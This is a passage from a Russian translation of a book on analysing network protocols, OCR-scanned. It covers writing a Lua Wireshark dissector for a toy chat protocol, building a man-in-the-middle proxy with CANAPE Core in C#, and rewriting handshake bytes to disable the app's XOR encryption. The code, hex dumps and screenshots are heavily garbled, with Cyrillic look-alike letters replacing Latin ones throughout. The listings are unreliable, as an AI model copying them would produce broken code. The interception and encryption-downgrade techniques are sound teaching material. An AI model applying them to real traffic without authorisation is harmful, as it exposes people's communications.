ІА [Арру а Фр!ау Я№ег ... <Сіп-/> Е -) Ехргеѕѕіоп.. + 
№. Тіте бошгсе Оеѕііпайоп Ргоюсо! Гепа Іпѓо ^ 
1.000000 192.168.10.106 192.168.10.102 снат @ 59 62980 > 12345 1еп=17 
2 0.038752 192.168.10.102 192.168.10.106 СНАТ 60 12345 > 62980 1еп=6 
3 4.826120 192.168.10.106 192.168.10.102 СНАТ 66 62980 > 12345 1еп=24 [Я 
412.176718 192.168.10.106 192.168.10.102 СНАТ 68 62980 > 12345 1еп=26 
5 13.113146 192.168.10.106 192.168.10.102 СНАТ 47 62980 > 12345 Іеп=5 
6 13.119926 192.168.10.102 192.168.10.106 СНАТ 60 12345 > 62980 1еп=9 
7 23.696625 192.168.10.106 192.168.10.102 СНАТ 61 62980 > 12345 1еп=19 
8 27.304872 192.168.10.106 192.168.10.102 СНАТ 56 62980 > 12345 1еп=14 я 
|[> ТпеегпеЕ Ргоосо1 Мегѕїоп 4, $гс: 192.168.10.106, 05: 192.168.10.102 


> Узег Бафагат Ргоёосо1, $гс Рог: 62980, ОЕ Роге: 12345 
У ЅирегЕипкуСһа& Ргофосо1 рака @ 

Сһескѕит: 9х090006+с 

Соттапа: 3 

Раа: 05616с6963650е5468697320697320677265617421 


28 18 78 49 Ь5 е7 5с +9 Яа бс 78 8е 08 00 45 00 
900 36 26 Ба 00 өө 80 11 00 00 се а8 @а ба се а8 


0020 Өа 66 +6 04 з9 39 ӨӨ 22 96 54 00 өө 06 +с өз ЕЗ 
СЕС ЩС1 бс 69 63 65 Өе 54 68 69 73 20 69 73 20 67 7 
О 65 61 74 2105) 
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Рис. 5.13. Разобранный трафик протокола ЅирегЕипкуСһаї 


На этапе ® столбец Рготосо] изменен на СНАТ. Это соответству- 
ет первой строке нашей функции диссектора из листинга 5.15, и так 
нам проще понять, что мы имеем дело с правильным протоколом. На 
этапе Ө получившееся дерево показывает различные поля протокола 
с контрольной суммой в шестнадцатеричном формате, как мы указа- 
ли. Если щелкнуть по полю раќа в дереве, в отображении необрабо- 
танных пакетов в нижней части окна должен быть выделен соответ- 
ствующий диапазон байтов Ө. 


Парсинг пакета сообщения 


Давайте расширим диссектор для парсинга конкретного пакета. В ка- 
честве примера мы будем использовать команду 3, потому что опре- 
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аіѕѕесіог ми 
_соттапаз.ша 


делили, что она отмечает отправку или получение сообщения. По- 
скольку полученное сообщение должно отображать 1р отправителя, 
а также текст сообщения, эти данные пакета должны содержать оба 
компонента, что делает его прекрасным примером. 

Влистинге 5.16 показан фрагмент из листинга 5.10, когда мы пере- 
хватили трафик с помощью нашего сценария, написанного на Руіћоп. 


Листинг 5.16. Пример данных сообщения 


Ь' \ хоЗБоБ\х@сНом аге уоч?' 
Б"\хӨзБоБ\х16Тһіѕ 15 пісе 15п' 10?" 


В листинге 5.16 показаны два примера данных пакета сообщения 
в двоичном строковом формате Руіћоп. Символы \хХХ - это непечата- 
емые байты, поэтому в действительности \х65 - это байт 0х05, а \х16 – 
это 0х16 (или 22 в десятичном формате). Два печатаемые строки есть 
в каждом пакете, показанном в листинге: первая - это имя пользова- 
теля (в данном случае БоБ), а вторая - это сообщение. У каждой строки 
есть префикс в виде непечатаемого символа. Очень простой анализ 
(в нашем случае - подсчет символов) указывает на то, что непечатае- 
мый символ - это длина строки, следующая за символом. Например, 
в случае со строкой имени пользователя непечатаемый символ пред- 
ставляет 0х03, а строка Бор состоит из трех символов. 

Напишем функцию для парсинга одной строки из ее двоичного 
представления. Мы обновим листинг 5.15, чтобы добавить поддержку 
парсинга команды Меѕѕаде. 


Листинг 5.17. Обновленный сценарий диссектора, используемый 
для парсинга команды Меѕѕаде 


-- Объявляем протокол для разбора 

сһа ргоёо = Ргоїо("сһаї" , "ЗирегРипкуСВаЕ Ргоёосо1") 

-- Указываем поля протокола 

сһа ргоёо. Р\е145.сһКѕит = РгоЁоРіе14. иіпЕ32("сһа.сһкѕит", "Сһескѕит", 
Баѕе.НЕХ) 

сһа ргоёо.Ғ\іе145.соттапа = РгоЁоРіе14. иіпЕ8("сһа. соттап", "Соттапа") 

сһаЁ_ ргоёо.Ріе145.даёа = РгоёоҒіе1а.Буёеѕ("сһа. даа", "Раёа") 


-- БиЁҒег: объект ТМВ, содержащий пакетные данные 
-- Ѕіагё: смещение в виртуальный буфер для чтения строки 
-- возвращает строку и используемую общую длину 
Типс оп геай ѕЁгіпо(БиЁҒег, ѕїагі) 
1оса1 Леп = БиЁҒег(ѕЁагї, 1) :џіпі() 
1оса1 ѕіг = БиҒҒег(ѕЁагі + 1, Леп): ѕЁгіпд() 
геёшгп 5Ёг, (1 + Леп) 
епі 


-- Функция диссектора 
-- БиЁҒғег: данные пакета ЦОР в виде «тестового виртуального буфера» 
-- ріпЁо: информация о пакете 
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-- {гее: Коо о# {Ве ЦТ {гее 

Типс оп сһа ргоїо.діѕѕесёог(БиЁҒег, ріпҒо, {гее) 
-- Задаем имя в столбце протокола в пользовательском интерфейсе 
ріпҒо.со15.ргоёосо1 = "СНАТ" 


-- Создаем вложенное дерево, которое представляет весь буфер 
Лоса1 ѕибёгее = Ёгее:айі(сһаЁ ргоќїо, 

Боғ #ег(), 

"ЅирегЕипкуСһаё Ргоїосо1 Ваёа") 
ѕибігее:айд(сһа ргоёо.Ғіе145.сһкѕит, БиЁҒег(0, 4)) 
ѕиБігее:ада(сһа ргоёо.Ғіе145.соттапа, БиЁҒег(4, 1)) 


-- Получаем объект ТМВ для компонента данных пакета 
Ө Лоса1 дата = БиҒҒег(5):+уЬ() 
1оса1 даїаїгее = ѕибёгее:айі(сһаі ргоёо. Ғіе145.даёа, Чафа()) 


1оса1 МЕЅЅАСЕ СМО = 3 
© 1оса1 соттап = Би Рег(4, 1) :иіпі() 
1Ғ соттап == МЕЅЅАСЕ_ СМО #ћеп 
1оса1 сигг_о#ѕ = 0 
1оса1 ѕЁг, 1еп = геай ѕёгіпод(даа, сигг_оЁѕ) 
Ө Паїаігее:айі(сһаі ргоёо, даёа(сигг оЁѕ, 1еп), "Узегпате: " .. ѕїг) 
сигг_оЁѕ = сигг оЁѕ + Леп 
${г, Теп = геаа ѕгіпо(даёа, сигг оЁѕ) 
да+аігее:айаі(сһа ргоёо, даёа(сигг оЁѕ, Леп), "Меѕѕаде: " .. ѕїг) 
епі 
епі 
-- Получаем таблицу диссектора ЦОР и добавляем ее для порта 12345 
џар +аБ1е = ріѕѕесіогТаБ1е.деї("ойр.рогё") 
оар +аБ1е:айд(12345, сһаЁ ргоќ+о) 


В листинге 5.17 добавленная функция геай ѕ5#гіпд() ® принимает 
объект ТУВ (Би Рег) и начальное смещение (ѕЁагї) и возвращает дли- 
ну буфера, а затем строку. 


Что, если строка длиннее диапазона байтового значе- 
ния? Это одна из проблем анализа протокола. Если что-то вам кажет- 
ся простым, то это не означает, что все на самом деле просто. Мы не 
будем обращать внимания на такие вопросы, как длина, потому что 
это лишь пример, а игнорирование длины подходит для любых примеров, 
которые мы перехватили. 


Имея функцию парсинга двоичных строк, теперь мы можем доба- 
вить команду Меѕѕаде в дерево анализа. Код начинается с добавления 
исходного дерева данных и создает новый объект ТУВ Ө, который 
содержит только данные пакета. Затем он извлекает поле команды 
как целое число и проверяет, наша ли это команда Меѕѕаде Ө. Если 
это не так, то мы покидаем дерево данных, но если поле совпадает, 
то мы приступаем к парсингу двух строк и добавляем их в поддерево 
данных Ө. Однако вместо определения конкретных полей можно до- 
бавить текстовые узлы, указав только объект ргого, а не объект поля. 
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Если вы теперь перезагрузите этот файл в УЛгезвагК, то должны уви- 
деть, что строки разобраны, как показано на рис. 5.14. 


Я чар пасрсарпд = х 
Ее Еа Міем бо Саріиге Апајуге Ѕіаїіѕіїсѕ Тејерһопу М/ігеіеѕѕ Тоо!5 Нер 
Га ИС) пе Зе == = ааа 
(А [аас соттапа == 3 09 ЕЗ2 -] Бхргеѕѕіоп.. + 
№. Тіте боигсе Оеѕіпайоп Ргоќосої епо Іпѓо 
3 4.826120 192.168.10.106 192.168.10.102 СНАТ 66 62980 > 12345 1еп=24 
4 12.176718 192.168.10.106 192.168.10.102 СНАТ 68 62980 > 12345 |еп=26 
723.696625 192.168.10.106 192.168.10.102 СНАТ 61 62980 > 12345 1еп=19 
У ЅирегҒипкуСһа& Ргоёосо1 Бата ^ 
Сһескѕит: 0х0000064+ 
Соттапа: 3 
У раа: 05616с6963650с48656с6с6#20576#726с6421 
[2] Узегпате: а1ісе 
Меѕѕаве: Не110 Мог1а! 
У 
28 18 78 49 65 е7 5с +9 Яй бс 78 Ве ӨЗ 00 45 @0 (.хІ..\. .1х...Е. 
00 34 26 Ы8 06 00 80 11 00 00 се ав Өа ба се аз бе неа 3-5 
©0020 Өа 66 +6 04 30 39 00 20 96 52 00 өө 06 4+ өз 21] .+..09. .В...О.В 
СЕС ЩС1 бс 69 63 65 Өс 48 65 бс бс 6+ 20 57 6+ 72 6‹№а11се.Не 110 Мог1 
е04е СЕР а! 
© 7 раі (сһаї.аіа), 19 Буе5 | Раскеіѕ: 9 · Оіѕріауеа: 3 (33.3%) · Іоай те: 0:0.2 || РгоМе: Оеѓаш 


Рис. 5.14. Разобранная команда Меѕѕаде 


Поскольку проанализированные данные оказались фильтруемы- 
ми значениями, мы можем выбрать команду Меѕѕаде, задав для сва+. 
сотпапі значение 3 в качестве фильтра отображения, как показано 
на рис. 5.14 ө. Видно, что строки Џѕегпапе и Меѕѕаде сообщений были 
правильно проанализированы в дереве Ө. 

На этом мы завершаем краткое введение в написание диссектора 
на языке Гла для МігеѕһагКк. Очевидно, что с этим сценарием можно 
сделать еще много чего, включая добавление поддержки для ббльше- 
го количества команд, но у вас уже есть достаточно для прототипи- 
рования. 


ИРЕТ Обязательно посетите сайт И/ігеѕһагк, чтобы подроб- 
нее узнать о том, как писать парсеры и как реализовать парсер потока 
ТСР. 


Использование прокси-сервера для активного 
анализа трафика 


Использование такого инструмента, как М/ігеѕһагк, для пассивного 
захвата сетевого трафика с целью последующего анализа сетевых 
протоколов имеет ряд преимуществ по сравнению с активным пе- 
рехватом (как обсуждалось в главе 2). Пассивный перехват не влияет 
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сһаріег5 
_ргоху.сѕх 


на работу приложений в сети, которые вы пытаетесь анализировать, 
и не требует изменений приложений. С другой стороны, пассивный 
перехват не позволяет с легкостью взаимодействовать с живым тра- 
фиком, а это означает, что вы не можете изменять трафик на лету, 
чтобы увидеть, как будут реагировать приложения. 

Активный перехват, напротив, позволяет управлять живым трафи- 
ком, но требует больше настроек, по сравнению с пассивным перехва- 
том. Может потребоваться внести изменения в приложения или, по 
крайней мере, перенаправить трафик приложения через прокси-сер- 
вер. Выбор подхода будет зависеть от конкретного сценария, и вы, 
безусловно, можете комбинировать оба типа перехвата. 

В главе 2 явключил несколько сценариев, демонстрирующих пере- 
хват трафика. Вы можете комбинировать их с библиотеками Сапаре 
Соге для создания ряда прокси, которые вы, возможно, захотите ис- 
пользовать вместо пассивного перехвата. 

Теперь, когда вы имеете более четкое представление о пассивном 
перехвате, в оставшейся части этой главы я опишу методы реализа- 
ции прокси-сервера для протокола ЅирегЕипкуСћаї и сосредоточусь 
на том, как лучше всего использовать активный перехват. 


Настройка прокси-сервера 


Чтобы настроить прокси-сервер, мы начнем с изменения одного из 
примеров перехвата из главы 2, а именно листинга 2.4, чтобы его 
можно было использовать для активного анализа сетевого протокола. 
Чтобы упростить процесс разработки и настройки приложения Ѕирег- 
ЕиркуСваь мы будем использовать прокси-сервер с переадресацией 
портов, а не что-то вроде $ОСК$. 

Скопируйте листинг 5.18 в файл сВар%ег5_ргоху.сзх и запустите 
его, используя Сапаре Соге, передав имя файла сценария в исполняе- 
мый файл САМАРЕ.СИ. 


Листинг 5.18. Прокси-сервер для активного анализа 


иѕіпд бас буз{ем.Сопзо1е; 
45119 ѕёаёіс САМАРЕ. Сі. Сопѕо1еу+і15; 


маг Ёетр1аёе = пем ЕіхейРгохуТетр1аЁе(); 
1/ Локальный порт 4444, узел назначения 127.0.0.1:12345 


© їептр1аіе.Іоса1Рогі = 4444; 


етр1аёе.Ноѕ = "127.0.0.1"; 
етр1аёе.Рогї = 12345; 


уаг ѕегуісе = Ёетр1аќе.Сгеаїе(); 
// Добавляем обработчик событий для регистрации пакета. Просто выводим 
[/ в консоль. 


Ө ѕегүісе.ГодРаскеЁЕүепї += (5,е) => ИгіїеРаскеЁ(е.Раскеї); 


// Вывод в консоль при создании или закрытии соединения 


© ѕегүісе.МенСоппесїіопЕмепё += (5,е) => 


Игтее[1ле( "№ м Соппес оп: {0}", е.реѕсгірёіоп); 
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сег\1се. С1озеСоппес{ТопЕ\мепЕ += (5,е) => 
Игтее[1ле( "СТозеЧ Соппесїіоп: {0}", е.реѕсгірёіоп); 
ѕегуісе.ЅЁагї(); 
Мгіёеііпе("Сгеаёеа {0}", ѕегуісе); 
Мгібеііпе("Ргеѕѕ Епфег фо ехі+..."); 
Веааііпе(); 
ѕегуісе.51ор(); 


На этапе ® мы говорим прокси-серверу локально слушать порт 4444 
и создать прокси-подключениек 127.0.0.1, порт 12545. Это должно по- 
дойти для тестирования чат-приложения, но если вы хотите повторно 
использовать сценарий для другого протокола, нужно будет изменить 
порт и ІР-адрес соответствующим образом. 

На этапе @ мы вносим одно из основных изменений в сценарий из 
главы 2: добавляем обработчик событий, который вызывается всякий 
раз, когда пакет должен быть зарегистрирован. Это позволяет вывес- 
ти содержимое пакета, как только он придет. На этапе Ө мы добавля- 
ем обработчики событий для вывода при создании и закрытии нового 
соединения. 

Затем мы перенастраиваем приложение СһаіСіепі для обмена 
данными с локальным портом 4444 вместо исходного порта 12345. 
В случае с СһаС1іепі мы просто добавляем параметр - -рогё ММ в ко- 
мандную строку, как показано здесь: 


СһаС1іепё.ехе --рог{ 4444 џѕег1 127.0.0.1 


ИГЕ Сменить узел назначения в реальных приложениях мо- 
жет быть не так просто. Просмотрите главы 2 и 4, чтобы узнать, как 
перенаправить случайное приложение на свой прокси. 


Клиент должен успешно подключиться к серверу через прокси, 


и консоль прокси должна начать отображать пакеты, как показано 
в листинге 5.19. 


Листинг 5.19. Пример вывода прокси-сервера при подключении клиента 


САМАРЕ. СТЛ (с) 2017 Јатеѕ Ғогѕһам, 2014 Сопёехі ТпРогма оп Ѕесигіёу. 
Сгеа{ед 115%епег (ТСР 127.0.0.1:4444), бегуег (РАхеф Ргоху 5егуег) 
Ргеѕ5 Епфег Ёо ехії... 
Апа1уѕ15 Ргом {Ве Иіге 105 
Мем Соппесіоп: 127.0.0.1:50844 <=> 127.0.0.1:12345 
Тад '0иё'Ө - Меїмогк '127.0.0.1:50844 <=> 127.0.0.1:12345' Ө 
: 00 01 02 03 04 05 06 07 08 09 ОА ӨВ 0С Өр ОЕ @Е - 0123456789АВСрЕЕ 


00000010: 65 72 31 05 62 ЄЕ 72 61 78 00 - ег1.Богах. 


Тад 'Іп' Ө - Меїмогк '127.0.0.1:50844 <=> 127.0.0.1:12345' 
: 00 01 02 03 04 05 06 07 08 09 ОА ӨВ 0С Өр ОЕ ӨЕ – 0123456789АВСРЕЕ 
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РМ - Тад 'О0уЕ' - №могК '127.0.0.1:50844 <=> 127.0.0.1:12345' 
: 00 01 02 03 04 05 06 07 08 09 ӨА 0В ӨС 00 ©Е ӨЕ - 9123456789 АВСОЕЕ 


Ө 00000000: 00 00 00 0р -.... 


Тад 'Оџ' - № могК '127.0.0.1:50844 <=> 127.0.0.1:12345' 
: 00 01 02 03 04 05 06 07 08 09 ӨА 0В ӨС 00 ©Е ӨЕ - 09123456789 АВСОЕЕ 


00000010: 67 - о 


- -обрезано- - 
Ө С1оѕей Соппесіоп: 127.0.0.1:50844 <=> 127.0.0.1:12345 


Отображается вывод, указывающий на то, что установлено новое 
прокси-соединение ®. Каждый пакет отображается с заголовком, со- 
держащим информацию о его направлении (исходящее или входя- 
щее) с помощью описательных тегов 0и* Ө и Іп Ө. 

Если ваш терминал поддерживает 24-битный цвет, как и большин- 
ство терминалов пих, тасО$ и даже Міпаоуѕ 10, то можно вклю- 
чить поддержку цвета в Сапаре Соге, используя параметр - -со1ог при 
запуске сценария прокси. Цвета, назначенные входящим пакетам, 
аналогичны цветам в МігеѕһагК: розовый цвет для исходящего тра- 
фика и синий для входящего. На этапе Ө также показано, от какого 
прокси-соединения пришел пакет, что совпадает с выводом ®. Одно- 
временно может происходить несколько подключений, особенно при 
проксировании сложного приложения. 

Каждый пакет перехватывается в шестнадцатеричном формате 
и формате АЅСП. Как и в случае с захватом в Мігеѕһагк, трафик мо- 
жет быть разделен между пакетами, как показано на этапе Ө. Однако, 
в отличие от Мігеѕһагк, при использовании прокси не нужно иметь 
дело стакими эффектами, как повторная передача пакетов или фраг- 
ментация: мы просто обращаемся к необработанным данным ТСР- 
потока, после того как операционная система обработает все сетевые 
эффекты за нас. 

На этапе Ө прокси-сервер выводит сообщение, что соединение за- 
крыто. 


Анализ протокола с использованием прокси-сервера 


Настроив прокси, можно приступить к базовому анализу протоко- 
ла. Пакеты, показанные в листинге 5.19, представляют собой просто 
необработанные данные, но в идеале мы должны написать код для 
парсинга трафика, как сделали это со сценарием Ру оп, который 
написали для Мігеѕһагк. Мы напишем класс раѓа Рагѕег, содержа- 
щий функции для чтения данных из сети и записи их туда. Скопи- 
руйте листинг 5.20 в новый файл из того же каталога, в который вы 
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рагѕег.сѕх 


скопировали файл сһарѓег5 ргоху.сѕх из листинга 5.18, и назовите его 
рагѕег.сѕх. 


Листинг 5.20. Базовый код парсера для прокси 


иѕіпд САМАРЕ. М№е+.Гауегѕ; 
иѕіпд Ѕуѕёет. 10; 


с1аѕѕ Рагѕег : раёаРагѕегМеёмогКіауег 


{ 


Ө ргоёесіеа оуеггійе Боо1 М№едоїіа+еРгоЁосої1( 
Ѕёгеат зегуег5{геат, Ѕёгеат с1іепЅ&геат) 


{ 
Ө үаг сЦепЕ = пем ВаёаАеайег(с1іепЕЅёгеап); 
уаг егуег = пем БафаИг\{ег(зегуег5{геам) ; 


[/ Читаем всю магию от клиента и пишем ее на сервер 
© шШпЕ тадіс = сАепе.ВеадИТт*32(); 

Сопѕо1е.Игіёеііпе( "Мадіс: {0:Х}", мад\с); 

ѕегмег .Агіёе0іп32 (тадіс); 


1] Возвращаем {гие, если согласование сигнала прошло успешно 
гефигп гие; 


Метод №доїіаіеРгоїосо1 ө вызывается перед любым другим обме- 
ном данными и передается двум объектам потока С#: один подклю- 
чен к серверу, а другой - к клиенту. Мы можем применить этот метод 
для обработки магического значения, которое использует протокол, 
но также можно было бы использовать его и для более сложных задач, 
таких как активация шифрования, если его поддерживает протокол. 

Первая задача метода №едоїіаїеРгоЁосо1 – прочитать магическое 
значение от клиента и передать его на сервер. Чтобы просто прочи- 
тать и записать 4-байтовое магическое значение, мы сначала обора- 
чиваем потоки в классы БафаВеа4ег и раїаћгіѓег Ө. Затем считываем 
магическое значение от клиента, выводим его на консоль и записы- 
ваем на сервер ®. 

Добавьте строку #1.оай "рагѕег.сѕх" в самую верхнюю часть фай- 
ла сһаріег5 ргоху.сѕх. Теперь, когда основной сценарий сһарѓег5 ргоху. 
сѕх разобран, файл рагѕег.сѕх подключается автоматически и анали- 
зируется основным сценарием. Использование этой подгружаемой 
функции позволяет записывать каждый компонент вашего парсера 
в отдельный файл, чтобы сделать задачу по написанию сложного 
прокси-сервера управляемой. Затем добавьте строку Ёетр1аќе.Аа- 
ЧГауег<Раг$ег>(); сразу после етрТа{е.Рог* = 12345;, чтобы добавить 
уровень парсинга к каждому новому подключению. Так вы создаете 
новый экземпляр класса Рагѕег излистинга 5.20 при каждом соедине- 
нии, поэтому можете хранить любое нужное вам состояние как члены 
класса. Если запустить сценарий прокси и подключить клиента через 
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прокси, в журнал будут записываться только важные данные прото- 
кола; магического значения вы больше не увидите (кроме вывода 
В КОНСОЛЬ). 


Добавляем базовый парсинг протокола 


Теперь мы изменим формат сетевого протокола, чтобы гарантиро- 
вать, что каждый пакет содержит только данные для одного пакета. 
Для этого мы добавим функции для чтения полей длины и контроль- 
ной суммы из сети и оставим лишь данные. В то же время мы пере- 
пишем длину и контрольную сумму при отправке данных исходному 
получателю, чтобы соединение оставалось открытым. 

При реализации этого базового анализа и проксирования клиент- 
ского соединения вся несущественная информация, например длина 
и контрольные суммы, должна быть удалена из данных. В качестве до- 
полнительного бонуса, если вы изменяете данные внутри прокси, от- 
правленный пакет будет иметь правильную контрольную сумму и дли- 
ну, соответствующие вашим изменениям. Добавьте листинг 5.21 в класс 
Рагѕег, чтобы реализовать эти изменения и перезапустить прокси. 


Листинг 5.21. Код парсера для протокола ЅирегҒипкуСһаї 


Ө іпі Са1сСһескѕит(Буёе[] даќа) { 
іп сһћКѕим = 0; 
Ғогеасһ(Буёе Б іп Яаёа) { 
сћКѕит += Ы; 
} 
гефигп сћКѕип; 


] 


Ө ПаїаЕгате Аеадраїа(рааВеайег геайег) { 
іп Тепдёћ = геайег.Веадїпі32(); 
1пЕ сћКѕип = геайег.Веадїпі32(); 
гефигп геайег.ВеайВуёеѕ(1епдЁћ).ТораїаЕгате(); 
} 


Ө уоіа Игіёераёа(рааЕгате Ргате, раёаМгіег мгіёег) { 
Бу+е[] даёа = Ғгаме.ТоАггау(); 
мгі+ег .АгібеІпЕ32(даа.Гепод&ћ); 
мгі+ег .МгібеІп32(Са1сСһескѕит(даёа)); 
мгібег .АгіёеВуёеѕ (даа); 
} 


Ө ргоїесїей оуеггійе БафаРгаме АеадїпБоџп(раќаАеадег геайег) { 
гефигп Веадраёа( геайег); 


} 


ргоёесіеа оуеггійе уо14 Иг\Ееби{Боип9(БатаРгаме Ргате, раайгіїег мгіёег) { 
Мгіёераёа(Ғгаме, мгіёег); 


| 


ргоёесіеа омегг14е БафаРгате АеайдиёБоџпа(раёаАеайег геадег) { 
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гефигп Веадраёа(геайег); 


} 


ргоёесіеа омеггійе уоіа ИгіёеІпроџпа(раёаЕгате Ргаме, раёангіёег мгіѓег) { 
Мгіераёа(Ғгате, мгіёег); 


Хотя этот код несколько избыточен (вините в этом С#), понять его 
довольно просто. На этапе ® мы реализуем калькулятор контрольной 
суммы. Мы могли бы проверить прочитанные нами пакеты, чтобы 
проверить их контрольные суммы, но будем использовать этот кальку- 
лятор только для пересчета контрольной суммы при отправке пакета. 

Функция Аеайра+а() считывает пакет из сетевого подключения Ө. 
Сначала она считывает 32-битное целое число с прямым порядком 
байтов, которое является длиной, а затем 52-битную контрольную 
сумму и, наконец, данные в байтах перед вызовом функции для пре- 
образования этого байтового массива в БафаЁгаме. (БафаЁРгаме – это 
объект, содержащий сетевые пакеты; можно преобразовать байтовый 
массив или строку во фрейм в зависимости от того, что вам нужно.) 

Функция Мгіёераќа() выполняет операцию обратную Аеайраќа() Ө. 
Она использует метод ТоАггау( ) входящего фрейма данных Ва(аЕгате 
для преобразования пакета в байты для записи. Получив массив бай- 
тов, мы можем пересчитать контрольную сумму и длину, а затем за- 
писать все это обратно в класс раёайгіѓег. На этапе Ө мы реализуем 
различные функции для чтения и записи данных из входящих и ис- 
ходящих потоков. 

Соберите вместе все сценарии для сетевого прокси и парсинга 
и запустите клиентское соединение через прокси, при этом вся не- 
существенная информация, например длины и контрольные суммы, 
должна быть удалена из данных. В качестве дополнительного бонуса, 
если вы изменяете данные внутри прокси, отправленный пакет будет 
иметь правильную контрольную сумму и длину, соответствующие ва- 
шим изменениям. 


Изменение поведения протокола 


Протоколы часто включают в себя ряд дополнительных компонентов, 
таких как шифрование или сжатие. К сожалению, нелегко определить, 
как они реализованы, не прибегая к обратной разработке. Для базо- 
вого анализа было бы неплохо иметь возможность просто удалить 
компонент. Кроме того, если шифрование или сжатие является не- 
обязательным, то протокол почти наверняка укажет на их поддержку 
при согласовании начального соединения. Итак, если мы сможем из- 
менить трафик, то сможем изменить эту настройку поддержки и от- 
ключить эту дополнительную функцию. Хотя это и тривиальный при- 
мер, он демонстрирует возможности использования прокси вместо 
пассивного анализа с помощью такого инструмента, как Мігеѕһагк. 
Мы можем изменить подключение для упрощения анализа. 
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Например, рассмотрим наше чат-приложение. Одной из его допол- 
нительных функций является ХОК-шифрование (хотя в главе 7 гово- 
рится о том, почему в действительности это не шифрование). Чтобы 
активировать эту функцию, вы должны передать параметр - -хог кли- 
енту. В листинге 5.22 сравнивается первая пара пакетов для соедине- 
ния без параметра ХОК, а затем с ним. 


Листинг 5.22. Примеры пакетов с ХОВ-шифрованием и без него 


ООТВООМО ХОК : 00 05 75 73 65 72 32 04 ДАР ДЕ 59 58 01 
ООТВООМО № ХОА: 00 05 75 73 65 72 32 04 АҒ ДЕ 59 58 00 


. .Чѕег2.ОМҮХ. 
..иѕег2.ОМҮХ. 


ІМВООМО ХОВ : 01 Е7 Е: 
ІМВООМО № ХОК: 01 00 ор 


В листинге 5.22 я выделил жирным шрифтом два различия. Сдела- 
ем выводы из этого примера. В исходящем пакете (команда 0 на осно- 
ве первого байта) последний байт равен 1, когда ХОВ-шифрование ак- 
тивировано, и 0х00, когда оно выключено. Я предполагаю, что данный 
параметр указывает на то, что клиент поддерживает это шифрование. 
Что касается входящего трафика, то здесь последний байт первого па- 
кета (в данном случае команда 1) равен 0хЕ7, когда ХОК-шифрование 
включено, и 0х00, когда оно выключено. Я предполагаю, что это ключ 
для ХОК- шифрования. 

Фактически если вы посмотрите на клиентскую консоль при вклю- 
чении ХОК-шифрования, то увидите строку КеКеуіпа соппесїіоп Ёо Кеу 
ОхЕТ, которая указывает на то, что это и в самом деле ключ. Хотя согла- 
сование является допустимым трафиком, если теперь вы попытаетесь 
отправить сообщение с клиентом через прокси-сервер, соединение 
больше не будет работать и даже может быть отключено. Оно пере- 
стает работать, потому что прокси будет пытаться проанализировать 
поля, такие как длина пакета, из соединения, но получит недопусти- 
мые значения. Например, при чтении такой длины, как 0х10, прокси 
вместо этого будет читать 0х10 ХОВ ОхЕТ, а это ОхЕ7. Поскольку в се- 
тевом подключении нет байтов ОхЕТ, он зависнет. Говоря кратко, для 
продолжения анализа в данной ситуации нам нужно что-то сделать 
с ХОК. 

При реализации кода для отключения ХОВ-шифрования трафика, 
когда мы его читаем, и его повторной активации, когда мы будем вес- 
ти запись, особых сложностей не будет. Но это было бы не так просто 
сделать, если бы эта функция была реализована для поддержки ка- 
кой-либо проприетарной схемы сжатия. Поэтому мы просто отклю- 
чим ХОВ-шифрование в нашем прокси независимо от настроек кли- 
ента. Для этого мы читаем первый пакет в соединении и проверяем, 
что последний байт установлен в 0. Когда мы пересылаем этот пакет 
дальше, сервер не будет активировать ХОВ-шифрование и вернет 
значение 0 в качестве ключа. Поскольку 0 - это инструкция МО-ОР 
в ХОВ-шифровании (в А ХОК 0=А), этот метод по сути отключит шиф- 
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рование. Измените метод Веай0џёБоџпа() в парсере на код из листин- 
га 5.25, чтобы отключить ХОВ-шифрование. 


Листинг 5.23. Отключение ХОВ-шифрования 


ргоёесіеа оуеггійе раёаЕгате КеайдиБоџпа(рааВеайег геадег) { 

"РаёаЕгате Ёгаме = Веадраёа(геайег); 

// Конвертируем кадр обратно в байты. 

Буе[] даёа = Ғгаме.ТоАггау(); 

1Ғ (даёа[0] == 0) { 
Сопѕо1е.Игіёеі\пе("ОіѕаБ\1іпд ХОА Епсгур оп"); 
даа[даа.епоЁһ - 1] = 0; 
Ғгаме = даёа.ТораёаЕгапе(); 

} 

гефигп Ёгаме; 


} 


Если вы теперь создадите соединение через прокси-сервер, то об- 
наружите, что независимо от того, включен параметр ХОК или нет, 
клиент не сможет активировать ХОВ-шифрование. 


Заключительное слово 


В этой главе вы узнали, как выполнить базовый анализ неизвестно- 
го протокола, используя методы пассивного и активного перехватов. 
Мы начали с выполнения базового анализа протокола с помощью 
ҮГігеѕһагКк для перехвата трафика. Затем благодаря ручной проверке 
и простому сценарию на языке Ру оп мы смогли понять некоторые 
части протокола чата. В ходе первоначального анализа мы обнару- 
жили, что смогли реализовать базовый диссектор Іиа для Мігеѕћагк 
для извлечения информации о протоколе и отображения ее непо- 
средственно в графическом интерфейсе М/ігеѕһагк. Использование 
Гоа идеально подходит для прототипирования инструментов анализа 
протокола в М/ігеѕһагкК. 

Наконец, мы реализовали прокси «человек посередине» для ана- 
лиза протокола. Проксирование трафика позволяет продемонстриро- 
вать несколько новых методов анализа, таких как изменение трафика 
протокола для отключения функций протокола (например, шифрова- 
ния), что может затруднить анализ протокола с использованием чис- 
то пассивных техник. 

Выбранный вами метод будет зависеть от многих факторов, таких 
как сложность перехвата сетевого трафика и сложность протокола. 
Для полного анализа неизвестного протокола вам понадобится при- 
менить наиболее подходящую комбинацию методов. 


ОБРАТНАЯ РАЗРАБОТКА 
ПРИЛОЖЕНИЯ 


сли вы можете проанализировать весь сетевой протокол, просто 
взглянув на передаваемые данные, то ваш анализ будет доволь- 
но простым. Но в случае с некоторыми протоколами это не всег- 
да возможно. Особенно это касается протоколов, которые используют 
специальные схемы шифрования или сжатия. Однако если вы може- 
те получить исполняемые файлы для клиента или сервера, то можно 
использовать реверс-инжиниринг, или обратную разработку, чтобы 
определить, как работает протокол, и заняться поиском уязвимостей. 
Существует два основных метода обратной разработки – статиче- 
ский анализ и динамический. Статический анализ - это процесс диз- 
ассемблирования скомпилированного исполняемого файла в машин- 
ный код и использование этого кода для понимания, как этот файл 
работает. Динамический анализ предполагает выполнение приложе- 
ния, а затем применение инструментов, таких как отладчики и мони- 
торы функций для проверки работы приложения во время выполнения. 
В этой главе я расскажу вам об основах дизассемблирования испол- 
няемых файлов, чтобы определить и проанализировать области кода, 
отвечающие за обмен данными по сети. 
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Сначала я сосредоточусь на платформе \УЙпдомз, потому что вы 
с большей вероятностью найдете приложения без исходного кода 
в Міпаомѕ, чем в Мих или тасО5. Затем я подробнее расскажу о раз- 
личиях между платформами и приведу несколько советов и приемов 
